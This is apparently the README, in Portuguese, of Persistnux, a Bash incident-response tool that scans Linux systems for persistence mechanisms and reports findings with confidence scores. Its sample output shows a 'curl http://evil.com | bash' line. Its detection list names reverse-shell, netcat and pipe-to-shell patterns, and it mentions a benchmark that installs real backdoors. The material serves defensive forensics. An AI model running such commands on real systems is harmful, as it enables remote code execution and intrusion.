
Ferramenta de detecção de persistência em Linux baseada em Bash para investigações DFIR. Escaneia mais de 15 mecanismos de persistência (systemd, cron, módulos do kernel, SSH, contêineres) com pontuação de confiança e gera relatórios CSV/JSONL para análise forense.
Uma ferramenta abrangente de detecção de persistência em Linux para investigações de Resposta a Incidentes e Forense Digital (DFIR).
Persistnux é uma ferramenta baseada em bash projetada para identificar mecanismos conhecidos de persistência em Linux usados por atacantes para manter acesso a sistemas comprometidos. Ela realiza verificações abrangentes no sistema e gera relatórios detalhados nos formatos CSV e JSONL para análise posterior.
.service) em /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system/etc/crontab, /etc/cron.d/*)/etc/cron.{daily,hourly,weekly,monthly})/etc/cron.allow e /etc/cron.deny — entradas referenciando usuários inexistentes sinalizadas/etc/profile, /etc/bash.bashrc, /etc/zshrc)/etc/profile.d/*).bashrc, .bash_profile, .zshrc, .profile, etc.)/etc/rc.local e variantes/etc/init.d)/etc/rc*.d)/etc/ld.so.preload) — cada biblioteca listada verificada via gerenciador de pacotes/etc/ld.so.conf, /etc/ld.so.conf.d/) — integridade do arquivo de configuração + arquivos .so em caminhos não padrão verificados/etc/environment LD_PRELOAD/LD_LIBRARY_PATH — arquivo de ambiente sinalizado HIGH; caminhos de bibliotecas referenciados verificados (não gerenciado/modificado → CRITICAL)/etc/modprobe.d/, /etc/modprobe.conf) — integridade do arquivo; diretivas install analisadas para alvos de comando suspeitos; blacklist de módulos de segurança (apparmor, selinux, seccomp) sinalizado HIGH/etc/modules, /etc/modules-load.d/) — integridade da configuração; nomes de módulos referenciados resolvidos para arquivos via e verificados.config/autostart, /etc/xdg/autostart) — todos os diretórios home de usuários verificados quando root/etc/environment) — caminhos de bibliotecas LD_PRELOAD/LD_LIBRARY_PATH verificados/etc/sudoers, /etc/sudoers.d/) — padrões NOPASSWD/ALL → HIGH.so verificados via gerenciador de pacotes; diretivas @include seguidas; /etc/pam.conf incluídopam_exec.so — scripts ausentes/suspeitos → CRITICALpam_python.so / pam_perl.so — script extraído e analisadopam_script.so em ~/.ssh/authorized_keys por usuário — chaves modificadas recentemente sinalizadas; opção command= analisada para padrões suspeitos~/.ssh/rc por usuário — presença sinalizada MEDIUM; conteúdo de reverse shell suspeito → HIGH/CRITICALdpkg -V no Debian/Ubuntu, rpm -Va no RHEL/CentOS)/usr/bin, /usr/sbin, /bin, /sbin → achado CRITICAL/lib/security → achado CRITICALinit= no GRUB (/etc/default/grub, /etc/default/grub.d/*.cfg)/pre-pivot escrevendo em /sysroot/etc/shadow/etc/initramfs-tools/scripts/ e /hooks//boot/initrd.img-* modificadas recentemente (baseado em mtime).pkla com ResultAny/ResultInactive/ResultActive=yes incondicionalunix-user:*).rules com polkit.Result.YES incondicional (Polkit >= 0.106 baseado em JavaScript)Exec= (/usr/share/dbus-1/system-services/)allow own="*" ou send_destination="*"/etc/NetworkManager/dispatcher.d/)RUN+= executando comandos ou scripts arbitrários (/etc/udev/rules.d/, /lib/udev/rules.d/)/run/udev/rules.d/at/cron em RUN+= (desvio comum de restrição de foreground)--privileged, --pid=host)docker.sock em contêineres (controle total do host via API Docker)nsenter -t 1 em entrypoints de contêineres ou Dockerfilesgetcap — cap_setuid+ep em GTFOBins → CRITICAL.original, .old, .bak, .real) com scripts wrapper/etc/passwd/etc/passwdauthorized_keys SSH# Clone o repositório
git clone https://github.com/seuusuario/persistnux.git
cd persistnux
# Torne o script executável
chmod +x persistnux.sh
# Execute com configurações padrão (mostra apenas achados suspeitos)
sudo ./persistnux.sh
# Mostra ajuda e todas as opções
./persistnux.sh --help
# Execute como usuário comum (escopo limitado)
./persistnux.sh
Por padrão, o Persistnux mostra apenas achados suspeitos (confiança MEDIUM, HIGH, CRITICAL) para reduzir ruído e focar em ameaças acionáveis.
# Padrão: Mostra apenas achados suspeitos
sudo ./persistnux.sh
# Mostra todos os achados, incluindo linha de base (confiança LOW)
sudo ./persistnux.sh --all
# OU
sudo FILTER_MODE=all ./persistnux.sh
# Mostra apenas achados de confiança HIGH e CRITICAL
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Combina filtros: apenas confiança HIGH
sudo ./persistnux.sh --min-confidence HIGH
# Especifica diretório de saída personalizado
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Combina com filtragem
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
Por padrão, o Persistnux cria um diretório de saída ./persistnux_output/ contendo:
persistnux_<hostname>_<timestamp>.csv - Relatório no formato CSVpersistnux_<hostname>_<timestamp>.jsonl - Relatório no formato JSONL (um objeto JSON por linha)persistnux_<hostname>_<timestamp>_report.txt - Relatório resumido legível por humanos com contagens de achados e metadados da varreduratimestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
suspicious_script_content, modified_package, unmanaged_binary)O Persistnux usa pontuação de confiança inteligente para reduzir falsos positivos:
O Persistnux agora inclui vários recursos para reduzir falsos positivos:
dpkg (Debian/Ubuntu) ou rpm (RedHat/CentOS) recebem pontuações de confiança menoresO Persistnux sinaliza automaticamente itens com maior confiança quando detecta:
bash -i >& /dev/tcp/, sh -i >& /dev/udp/nc, netcat, socat, telnetpython -c 'import socket'curl | bash, wget | shcurl URL -o /tmp/file && chmod +xbase64 -d | bash, eval $(echo BASE64)eval, exec/tmp, /dev/shm, /var/tmpchmod +x, chmod 777chmod u+sfind, grep, stat, sha256sum, awk, filesystemctl, lsmod, modinfo, getcap, dpkg/rpm (para verificações específicas)python/jq)Nota: A ferramenta é testada principalmente em sistemas Ubuntu/Debian. As distribuições RedHat, Fedora e baseadas em RPM têm suporte ao gerenciador de pacotes implementado no código, mas não foram validadas em ambientes de teste ativos. Contribuições e relatórios de teste para distribuições baseadas em RPM são bem-vindos.
O Persistnux é comparado com o PANIX,
que instala os mesmos mecanismos de persistência que o Persistnux caça. O
teste repetível em tests/panix_benchmark.sh aplica
cada técnica do PANIX, executa o Persistnux e confirma a detecção via diff de
linha de base. Toda técnica PANIX baseada em arquivo que se aplica na máquina
de teste é detectada com confiança MEDIUM+. Veja PANIX_BENCHMARK.md para a
tabela de cobertura completa e metodologia.
⚠️ O benchmark instala backdoors reais — execute apenas em uma VM descartável.
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
Contribuições são bem-vindas! Sinta-se à vontade para enviar pull requests ou abrir issues para:
Licença MIT - Consulte o arquivo LICENSE para detalhes
Desenvolvido para a comunidade DFIR para auxiliar na resposta a incidentes Linux e investigações forenses.
Esta ferramenta é destinada apenas para testes de segurança autorizados, resposta a incidentes e análise forense. Os usuários são responsáveis por garantir que possuem autorização adequada antes de executar esta ferramenta em qualquer sistema.
Para dúvidas, problemas ou contribuições, use o rastreador de issues do GitHub.
.komodinfolsmod) — enumeração e verificação de integridade/etc/security/pam_env.conf e ~/.pam_environment/etc/security//etc/update-motd.d/) — verificação de pacote; modificado → CRITICAL| Distribuição | Status | Observações |
|---|
| Ubuntu 22.04 LTS | ✅ Testado | Plataforma principal de desenvolvimento e teste |
| Ubuntu 20.04 LTS | ✅ Testado | Totalmente suportado |
| Debian 11/12 | ✅ Testado | Baseado em dpkg, mesmas convenções de caminho |
| Kali Linux (rolling) | ✅ Testado | Usado no benchmark de detecção PANIX (veja abaixo) |
| RedHat / RHEL | ⚠️ Ainda não testado | Suporte a rpm implementado, mas não verificado em sistemas ativos |
| Fedora | ⚠️ Ainda não testado | Suporte a rpm implementado, mas não verificado em sistemas ativos |
| CentOS / AlmaLinux / Rocky | ⚠️ Ainda não testado | Suporte a rpm implementado, mas não verificado em sistemas ativos |